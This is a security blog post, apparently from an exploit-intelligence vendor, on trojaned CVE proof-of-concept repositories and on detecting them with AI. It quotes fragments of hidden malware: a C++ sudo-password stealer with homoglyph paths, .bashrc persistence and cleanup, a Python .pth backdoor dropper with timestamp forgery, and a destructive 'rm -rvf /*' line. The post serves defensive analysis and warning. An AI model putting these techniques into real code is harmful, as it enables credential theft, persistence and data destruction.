Anatomy of a Trojan Exploit - How We Detect Backdoored PoCs with AI

Every high-profile CVE generates the same rush: GitHub fills with “proof-of-concept” repositories within hours. Researchers and pentesters go looking for them to test their exposure. And some of those repos are not targeting the vulnerability - they’re targeting you.

This isn’t a theoretical risk we’re warning about for fun. We ran every exploit in the Exploit Intelligence Platform through AI analysis - over 70,000 of them - and found dozens of confirmed trojans and hundreds of suspicious repositories. What follows are real examples, pulled directly from our database, with the actual code. Read them before you git clone anything tonight.

Case 1: The Credential Stealer Disguised as a PoC

Repository: oditynet/sleepall Claims to target: CVE-2024-28085 (a low-severity Linux wall command bug - barely worth a glance) Actually does: Steals sudo passwords and bash history

This one is worth reading carefully. The repository claims to be a proof-of-concept for a minor terminal vulnerability. What it actually contains is a sophisticated credential stealer written in C++.

Here’s what happens when you compile and run it:

1. It copies itself to a hidden location using Unicode trickery:

snprintf(homedir, sizeof(homedir), "%s%s%s",
    "/home/", d_name, "/.config/chrȯmium");

That’s not chromium - the o is Unicode character ȯ (U+022F). On a quick ls it looks like a Chromium config directory. It’s not. It’s the kind of trick that works precisely because nobody reads file names character by character.

2. It modifies .bashrc to auto-start on every login:

snprintf(filechromium, sizeof(filechromium),
    "%s%s%s%s%s%s%s%s",
    "unset HISTFILESIZE\n",
    "HISTSIZE=3000\n",
    "PROMPT_COMMAND=\"history -a\"\n",
    "export HISTSIZE PROMPT_COMMAND\n",
    "shopt -s histappend\n",
    "/home/", d_name,
    "/.config/chrȯmium > /dev/null 2>&1 &\n");

It also forces bash to write history after every command - so it can exfiltrate what you type.

3. It monitors /proc for sudo processes, kills them, and injects a fake password prompt:

if(strstr(line, "Name:\tsudo") != NULL ){
    // ...
    kill(num, 9);
    snprintf(fd1_send, sizeof(fd1_send), "%s%s%s",
        "/proc/", next_token, "/fd/1");
    curr_e_fp = open(fd1_send, O_WRONLY);
    write(curr_e_fp, sudostr, strlen(sudostr));

When you run sudo, it kills the real sudo process and writes a fake [sudo] password for user: prompt directly to your terminal’s file descriptor. You type your password into the attacker’s prompt. It looks exactly like the real thing, because it is the real thing - just to the wrong audience.

4. It sends your credentials and bash history to a C2 server:

#define PORT 13031
#define ipaddress "127.0.0.1"

int send_string_to_me(char * text) {
    // ... connects to C2 and sends:
    // username, IP address, last 6 lines of bash history

5. It cleans up after itself:

system("rm -rf /home/*/.config/chrȯmium");
system("sed -n -e :a -e '1,7!{P;N;D;};N;ba' -i /home/*/.bashrc");

Deletes the binary, strips the .bashrc modifications. Forensically, there’s very little left. Whoever built this has done it before.

This was publicly available on GitHub, attributed to a CVE so boring most people would clone the first result without thinking twice. That’s the whole strategy.

Case 2: Backdooring the Biggest Firewall Vuln of 2024

Repository: momika233/CVE-2024-3400 Claims to target: CVE-2024-3400 (Palo Alto PAN-OS, CVSS 10.0, actively exploited in the wild) Actually does: Drops a persistent backdoor that survives reboots

CVE-2024-3400 was one of the most critical vulnerabilities of 2024 - unauthenticated RCE on Palo Alto firewalls, CVSS 10.0, added to CISA KEV on the same day it was published. Every security team was scrambling to assess their exposure. Naturally, GitHub filled with PoCs. This repository was one of them. Here’s the full code:

import os, base64, time

systempth = "/usr/lib/python3.6/site-packages/system.pth"
with open(systempth, 'wb') as f:
    f.write(b'''import base64;exec(base64.b64decode(b"..."))''')

atime = os.path.getatime(os.__file__)
mtime = os.path.getmtime(os.__file__)
os.utime(systempth, (atime, mtime))
os.unlink(__file__)

Six lines of Python. That’s it. Let’s break it down:

1. It writes to a .pth file. Python automatically executes code in .pth files in site-packages on startup. This is a persistence mechanism - every time Python runs on the system, the payload executes.

2. It copies the timestamp from os.py to the malicious file, so it doesn’t stand out in a directory listing.

3. It deletes itself. The original script is gone after first execution.

The base64 payload, once decoded, monitors PAN-OS log files for shell command output, injects the results into CSS files on the web interface (a covert exfiltration channel), and re-writes itself if deleted - it registers a SIGTERM handler that restores the .pth file if someone tries to remove it.

This was sitting alongside 40+ legitimate CVE-2024-3400 exploits on GitHub. The people most likely to find it were the defenders trying to check if their firewalls were vulnerable. The irony is perfect and depressing.

Case 3: 280 Stars for rm -rf /*

Repository: ZephrFish/CVE-2020-1350_HoneyPoC Claims to target: CVE-2020-1350 (SIGRed, Windows DNS Server RCE, CVSS 10.0) Actually does: Destroys your system

rm -rvf /* --no-preserve-root

To be fair, this one is a self-described “HoneyPoC” - the author created it intentionally to prove a point about how many people blindly download and run exploit code. A teaching moment, if you will.

280 people starred this repository.

Two hundred and eighty people found this repo while looking for a SIGRed exploit, and enough of them thought it was legitimate to give it stars. Some of them almost certainly ran it. On a machine. With data on it. The lesson taught itself.

The Pattern

These aren’t isolated cases. Across the database, the same playbook repeats:

• Timing: Trojans appear within days of high-profile CVE disclosures, when demand for PoCs is highest and scrutiny is lowest. Everyone’s in a rush. Attackers know this.
• Targeting: They overwhelmingly target critical-severity vulnerabilities (CVSS 9.0+) in enterprise infrastructure - firewalls, VPNs, Exchange servers. The kind of CVEs where defenders are panicking and pentesters are racing.
• Sophistication varies wildly: From rm -rf /* to multi-stage credential stealers with Unicode tricks and anti-forensics. The floor is low but the ceiling is genuinely impressive.
• Star counts mean nothing: 280 stars on a rm -rf. 13 stars on a persistent backdoor. A nice README and a commit history don’t make code safe.

How We Detect Them

Every exploit ingested by EIP goes through AI analysis. Not a signature scan - actual code reading. The model classifies each exploit into categories (working_poc, trojan, suspicious, scanner, stub, writeup) and flags deception indicators: obfuscated payloads, hidden C2 callbacks, credential exfiltration, destructive commands, misleading claims.

It turns out LLMs are surprisingly good at this. They catch obfuscated base64, Unicode homoglyph tricks, timestamp manipulation, process injection, and exfiltration disguised as “connectivity checks” - the kind of patterns that a grep for “base64” would miss because the code is doing something adjacent to suspicious, not something with a signature.

Confirmed trojans are marked clearly in the platform and pushed to the bottom of exploit rankings. You can query them directly:

search_exploits(llm_classification="trojan")

What This Means for You

If you’re pulling PoCs from GitHub - and let’s be honest, we all do - here’s the uncomfortable truth: the repository you’re about to clone might have been designed specifically to compromise people like you. Security researchers, with privileged access, running code on machines connected to client networks.

Some practical takeaways:

• Read the code before you run it. Not the README - the actual code. Every line. Yes, it’s tedious. Less tedious than explaining to a client how your assessment machine got owned.
• Check multiple sources. If EIP shows 40 exploits for a CVE and one of them is flagged as a trojan, that’s context worth having before you clone.
• Be especially skeptical of early PoCs. The first repos to appear after a CVE disclosure are the most likely to be malicious. Legitimate researchers take time to write working code. Attackers just need a convincing README.
• Metasploit modules are peer-reviewed. If one exists, prefer it over random GitHub repos. This isn’t snobbery - it’s survival.
• Don’t trust star counts. 280 stars on rm -rf /*. Enough said.

The EIP platform does this analysis automatically across 70K+ exploits so you can see the flags before you clone. But even with automated detection - still read the code. Trust nothing. Verify everything.

That’s the old-school way. It never stopped working.